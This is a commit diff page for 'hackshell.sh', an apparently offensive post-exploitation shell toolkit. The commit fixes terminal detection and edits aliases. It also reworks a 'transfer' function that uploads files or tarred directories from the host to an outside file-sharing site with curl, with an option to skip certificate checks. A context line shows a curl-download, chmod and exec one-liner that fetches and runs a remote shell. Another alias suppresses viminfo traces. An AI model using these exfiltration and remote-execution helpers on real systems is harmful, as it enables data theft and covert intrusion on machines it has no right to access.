Skip to content

Commit 48db561

Browse files
committed
TERM fix
1 parent cd56150 commit 48db561

File tree

1 file changed

+10
-5
lines changed

1 file changed

+10
-5
lines changed

hackshell.sh

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -363,11 +363,14 @@ xorpipe() { xor "${1:-0xfa}" | sed 's/\r/\n/g'; }
363363
HS_TRANSFER_PROVIDER="oshi.at"
364364

365365
transfer() {
366+
local opts=("-SsfL" "--connect-timeout" "7" "--progress-bar" "-T")
367+
368+
[ -n "$UNSAFE" ] && opts+=("-k")
366369
[[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer <file/directory> [remote file name]\n transfer [name] <FILENAME"; return 255; }
367-
[[ ! -t 0 ]] && { curl -SsfL --connect-timeout 7 --progress-bar -T "-" "https://${HS_TRANSFER_PROVIDER}/${1}"; return; }
370+
[[ ! -t 0 ]] && { curl "${opts[@]}" "-" "https://${HS_TRANSFER_PROVIDER}/${1}"; return; }
368371
[[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }
369-
[[ -d "$1" ]] && { (cd "${1}/.." && tar cfz - "${1##*/}")|curl -SsfL --connect-timeout 7 --progress-bar -T "-" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}.tar.gz}"; return; }
370-
curl -SsfL --connect-timeout 7 --progress-bar -T "$1" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}}"
372+
[[ -d "$1" ]] && { (cd "${1}/.." && tar cfz - "${1##*/}")|curl "${opts[@]}" "-" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}.tar.gz}"; return; }
373+
curl "${opts[@]}" "$1" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}}"
371374
}
372375

373376
# SHRED without shred command
@@ -1783,7 +1786,9 @@ ${CY}>>>>> ${CDC}curl -obash -SsfL '$str' && chmod 700 bash && exec ./bash -il"
17831786
[ -z "${HS_PY}" ] && HS_PY="$(command -v python2)"
17841787
HS_PY="${HS_PY##*/}"
17851788
1786-
TERM="xterm-256color"
1789+
unset TERM
1790+
toe -a 2>/dev/null | grep -qm1 'xterm-256color' && TERM="xterm-256color"
1791+
[ -z "$TERM" ] && TERM=xterm
17871792
17881793
HS_ARCH="$(uname -m 2>/dev/null)"
17891794
[ -z "$HS_ARCH" ] && HS_ARCH="x86_64"
@@ -1892,7 +1897,7 @@ hs_init_alias() {
18921897
:
18931898
alias ssh="ssh ${HS_SSH_OPT[*]}"
18941899
alias scp="scp ${HS_SSH_OPT[*]}"
1895-
alias vi="vi -i NONE"
1900+
\vi --help 2>&1 | grep -Fqm1 -- -i && alias vi="vi -i NONE"
18961901
alias vim="vim -i NONE"
18971902
alias screen="screen -ln"
18981903

0 commit comments

Comments
 (0)